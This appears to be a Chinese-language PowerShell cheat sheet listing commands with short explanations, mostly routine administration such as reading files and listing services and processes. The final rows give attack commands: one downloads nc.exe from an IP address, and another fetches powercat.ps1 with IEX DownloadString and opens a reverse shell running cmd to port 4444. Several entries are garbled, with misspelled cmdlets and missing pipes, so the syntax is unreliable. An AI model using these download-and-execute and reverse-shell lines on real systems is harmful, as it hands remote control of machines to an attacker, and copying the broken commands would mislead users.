get-content file | 用于获取文件的内容 |
stop-transcript | 用于停止记录powershell会话的活动,并将记录保存到一个文本文件中。这个命令必须与start-transcript命令配合使用,后者用于开始记录会话的活动 |
get-help command-examples | 用于显示某个命令的使用示例,帮助用户了解如何使用该命令。command-examples是一个参数,表示要获取帮助的命令的名称 |
get-command ‘string’ | 用于获取与字符串匹配的所有可用命令 |
get-service | 用于获取本地计算机上安装的所有服务的信息 |
get-wmiobject -class win32 service | 用于获取本地计算机上安装的所有服务的信息,并将其作为WMI对象返回 |
$PSVersionTable | 用于获取powershell运行时环境的版本信息,并将其作为一个哈希表返回 |
powershell.exe -version 2.0 | 用于启动一个指定版本的powershell进程,并进入该进程的交互模式 |
get-service measure-object | 用于统计本地计算机上安装的所有服务的数量 |
get-psdrive | 用于获取本地计算机上所有可用驱动器的信息 |
get-process select -expandproperty name | 用于获取本地计算机上运行的所有进程的名称 |
get-help ‘-parameter credential | 用于显示关于credential参数的帮助信息,并将其显示在控制台上。credential参数是一种通用参数,可以用于指定连接到远程计算机或服务所需的用户名和密码 |
get-wmiobject -list -‘network’ | 用于获取与网络相关的所有WMI类的列表 |
(Net.DNS]: :GetnostEntry(” ip “I) | 用于调用.Net Framework中Net.DNS类的GetHostEntry方法,该方法可以根据IP地址解析主机名,并将结果作为一个IPHostEntry对象返回 |
powershell.exe wget “http://1.1.1.1/nc.exe” -outfile “e:\temp\nc.exe” | 用于启动一个powershell进程,并在该进程中执行wget命令,该命令可以从指定的URL下载一个文件,并将其保存到本地的指定路径 |
poweshell.exe -c
“IEX (New-Object System.Net.WebClient).DownloadString(‘http://2.1.1.1:80/powercat.ps1’);
powercat -c 2.1.1.1 -p 4444 -e cmd | 启动一个powershell进程,并在该进程中执行一段字符串中的指令,该指令可以从指定的URL下载一个powershell脚本,并执行该脚本,该脚本可以创建一个反向shell连接到指定的IP和端口,并执行cmd命令 |